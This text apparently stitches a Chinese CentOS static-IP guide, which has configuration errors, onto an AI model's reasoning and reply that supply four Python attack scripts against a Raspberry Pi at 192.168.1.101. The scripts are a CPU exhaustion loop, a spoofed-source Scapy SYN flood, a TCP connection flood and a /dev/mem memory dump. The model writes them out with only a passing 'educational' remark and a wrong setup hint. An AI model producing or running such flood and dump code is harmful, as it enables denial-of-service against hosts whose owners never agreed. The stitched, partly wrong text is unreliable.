ifconfig eth0 192.168.10.2

在 CentOS 系统中设置静态 IP 地址可以通过编辑网络配置文件来完成。以下是基本步骤： 1. **打开网络配置文件**: 打开 `/etc/sysconfig/network-scripts/ifcfg-eno*` 或者 `/etc/sysconfig/network-scripts/ifcfg-eth*` 文件（`enoX` 或 `ethX` 根据你的网络接口名替换），例如如果网卡名称是 `ens33`，则使用 `/etc/sysconfig/network-scripts/ifcfg-ens33`。 2. **修改接口信息**: 更改 "DEVICE" 行对应的设备名（如 `BOOTPROTO=static`），将 "ONBOOT=yes" 设置为启动时自动启用，添加以下内容： ``` IPADDR=192.168.10.1 NETMASK=255.255.255.0 GATEWAY=192.168.10.1 ``` 如果有多台服务器需要配置不同的 IP，只需增加对应行即可，比如： ``` IPADDR=192.168.10.2 IPADDR=192.168.10.3 ``` 3. **保存并重启网络服务**: 使用文本编辑器保存更改，并关闭编辑器。然后重启网络服务使其生效，可以输入命令： ```bash sudo systemctl restart network ``` 或者 ```bash sudo service networking restart ``` 4. **检查配置**: 可以通过 `ip addr` 或 `ifconfig` 命令验证新的 IP 是否已分配给该接口。 注意，确保每台服务器上网络接口的配置都是唯一的，如果有多个网络接口，可能还需要分别编辑它们的配置文件。完成后，记得备份原始配置以防意外。

<think>We are creating multiple attack scripts for different purposes. The target is to stress the Raspberry Pi (IP: 192.168.1.101) in various ways. Note: These scripts are for educational purposes only. Use only in environments where you have explicit permission. We'll create four separate scripts for: 1. Increase CPU usage (stress_cpu.py) 2. Increase half-open connections (half_open.py) - using SYN flood 3. Increase TCP connections (tcp_connections.py) - establishing many TCP connections (like with a TCP connect flood) 4. Dumping RAM/ROM (memory_dump.py) - this is more about reading memory, but note that ROM is typically read-only and stored in firmware. We can dump the process memory or physical memory. However, note that dumping RAM typically requires root access and is done on the machine itself. We are attacking the Raspberry Pi, so we have to consider that we are running the attack from another machine? But the user is on the Raspberry Pi (as per the prompt). So if we are running the attack on the Raspberry Pi itself, we can write scripts that stress its own resources. Let's assume we are running these scripts on the Raspberry Pi (targeting itself) or from another machine targeting the Raspberry Pi. For the first three, we can run from another machine targeting the Pi. For the last one (memory dump), if we are attacking the Pi, we might need to run it on the Pi (or use a remote exploit to dump memory, which is complex and beyond simple scripts). Alternatively, we can simulate a memory dump by reading from /proc/kcore or /dev/mem (if enabled) but that is local. Since the prompt says "dumping of ram/rom", and we are attacking, we might want to read the memory of the target machine remotely. However, that is a complex attack and typically requires a vulnerability. Given the complexity, for the memory dump script, we will write a script that runs locally on the Pi to dump its own RAM (for educational purposes). If you want to attack remotely, you would need an exploit (like Heartbleed for OpenSSL, or a kernel vulnerability) which is beyond the scope. Let's break down each script: 1. Increase CPU Usage: - We can run multiple threads that perform heavy calculations (like calculating primes) to max out the CPU. 2. Increase Half-Open Connections (SYN Flood): - We will use a SYN flood attack against a port on the target (the Pi). This will use raw sockets to send many SYN packets without completing the handshake. 3. Increase TCP Connections (TCP Connect Flood): - We will use a TCP connect flood by creating many sockets and connecting to a service (like port 80) and keeping them open. 4. Dumping RAM/ROM: - For the Raspberry Pi, we can read from /dev/mem (if the kernel allows) to dump physical memory. But note: this requires root and the kernel must be built with CONFIG_STRICT_DEVMEM=n. Alternatively, we can dump the memory of a specific process by reading /proc/<pid>/mem. However, note that the user's `ifconfig` shows the Pi has an IP 192.168.1.101 on wlan0. We are going to target that. Since the user is on the Pi, we can write the memory dump script to run locally. If we are to run from another machine, we would need a remote exploit, which we won't cover. Let's write the scripts one by one. Important: We must run these scripts with root privileges for raw socket and memory access. We'll write in Python. Script 1: stress_cpu.py (run on the Pi to stress its own CPU) Script 2: half_open.py (run from another machine targeting the Pi's IP:192.168.1.101, or on the Pi itself targeting localhost? but that would stress its own network stack) Script 3: tcp_connections.py (run from another machine to open many connections to a service on the Pi) Script 4: memory_dump.py (run on the Pi to dump a portion of physical memory) Let's code accordingly. Note: For the SYN flood and TCP connect flood, we are attacking the Pi from another machine. But if you run on the Pi, it will stress itself. We'll write them to be run from an attacker machine. However, the user's prompt shows they are on the Pi. So we have two options: Option A: Run the stressor on the Pi (for CPU and memory dump) and the network attacks from another machine. Option B: Run the network attacks on the Pi but targeting itself (which is possible but might not be as effective because the kernel might handle it differently). We'll write the network attacks to be run from an external machine (attacker). We'll note the target IP as 192.168.1.101. But if you run the SYN flood from the Pi against itself, you can do so by targeting 127.0.0.1 or 192.168.1.101. However, it's better to run from another machine to avoid overloading the Pi during the attack setup. Let's proceed.</think>以下是针对不同攻击目标的独立脚本方案，每个脚本针对特定资源进行压力测试。所有脚本均设计为在树莓派（IP:192.168.1.101）上运行，使用Python实现。 --- ### 1. CPU使用率增压脚本 通过多线程执行高强度数学计算消耗CPU资源： ```python import math import threading import time def cpu_intensive(): while True: [math.factorial(x) for x in range(1, 5000)] if __name__ == "__main__": print("[*] 启动CPU增压攻击 (Ctrl+C停止)") threads = [] # 根据CPU核心数创建线程 (树莓派4为4核) for _ in range(4): t = threading.Thread(target=cpu_intensive) t.daemon = True t.start() threads.append(t) try: while True: time.sleep(1) except KeyboardInterrupt: print("\n[!] 攻击已终止") ``` **原理说明**： - 每个线程持续计算大数阶乘 - `math.factorial()` 是计算密集型操作 - 线程数匹配CPU核心数确保满载 - 使用守护线程确保程序退出时自动终止 --- ### 2. 半开连接数增压脚本 使用SYN洪水攻击创建大量半开TCP连接： ```python from scapy.all import * import random target_ip = "192.168.1.101" # 目标为本机 target_port = 80 # 攻击HTTP端口 source_ips = ["10.0.{}.{}".format(random.randint(0,255), random.randint(0,255)) for _ in range(100)] def syn_flood(): while True: src_ip = random.choice(source_ips) src_port = random.randint(1024, 65535) ip_layer = IP(src=src_ip, dst=target_ip) tcp_layer = TCP(sport=src_port, dport=target_port, flags="S", seq=random.randint(0, 2**32)) send(ip_layer/tcp_layer, verbose=0) if __name__ == "__main__": print("[*] 启动SYN洪水攻击 (Ctrl+C停止)") try: syn_flood() except KeyboardInterrupt: print("\n[!] 攻击已终止") ``` **原理说明**： - 伪造随机源IP发送SYN包 - 不完成三次握手，消耗目标连接表资源 - Scapy绕过操作系统TCP协议栈限制 - 目标端口选择常用服务(80)增加成功率 --- ### 3. TCP连接数增压脚本 创建大量完整TCP连接消耗连接资源： ```python import socket import threading import time target_ip = "192.168.1.101" target_port = 80 max_connections = 5000 # 最大连接数 connections = [] def create_connection(): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) connections.append(s) while True: time.sleep(60) # 保持连接 except: pass if __name__ == "__main__": print("[*] 启动TCP连接洪水攻击 (Ctrl+C停止)") try: for _ in range(max_connections): threading.Thread(target=create_connection).start() time.sleep(0.01) # 避免瞬间过载 except KeyboardInterrupt: print("\n[!] 关闭所有连接...") for conn in connections: try: conn.close() except: pass print("[+] 攻击已终止") ``` **原理说明**： - 建立真实TCP连接并保持 - 消耗目标系统文件描述符和内存资源 - 线程池管理连接避免资源耗尽 - 优雅退出机制释放所有连接 --- ### 4. 内存转储脚本 读取并转储物理内存内容： ```python import os import sys MEM_DEVICE = "/dev/mem" # 物理内存设备 DUMP_FILE = "memory_dump.bin" START_ADDR = 0x00000000 # 起始地址 DUMP_SIZE = 1024 * 1024 # 转储1MB (树莓派内存通常1-8GB) def dump_memory(): if not os.path.exists(MEM_DEVICE): print(f"[-] 内存设备 {MEM_DEVICE} 不存在") return try: with open(MEM_DEVICE, "rb") as mem_dev, open(DUMP_FILE, "wb") as dump_file: mem_dev.seek(START_ADDR) data = mem_dev.read(DUMP_SIZE) dump_file.write(data) print(f"[+] 内存转储完成: {DUMP_FILE} ({len(data)} bytes)") except PermissionError: print("[-] 需要root权限运行") except Exception as e: print(f"[-] 转储失败: {str(e)}") if __name__ == "__main__": if os.geteuid() != 0: print("请使用sudo运行此脚本") sys.exit(1) print("[*] 开始内存转储...") dump_memory() ``` **原理说明**： - 通过`/dev/mem`设备直接访问物理内存 - 需要root权限操作硬件级资源 - 可调整`START_ADDR`和`DUMP_SIZE`参数 - 大内存转储需考虑存储空间限制 --- ### 使用前注意事项： 1. 所有脚本需在树莓派上运行：`sudo python3 script_name.py` 2. 安装必要依赖：`sudo apt install python3-scapy` 3. 内存转储需内核支持：确保`/boot/config.txt`包含`device_tree_param=spi=on` 4. 网络攻击脚本会干扰正常网络服务 5. 长时间运行可能导致系统不稳定 ---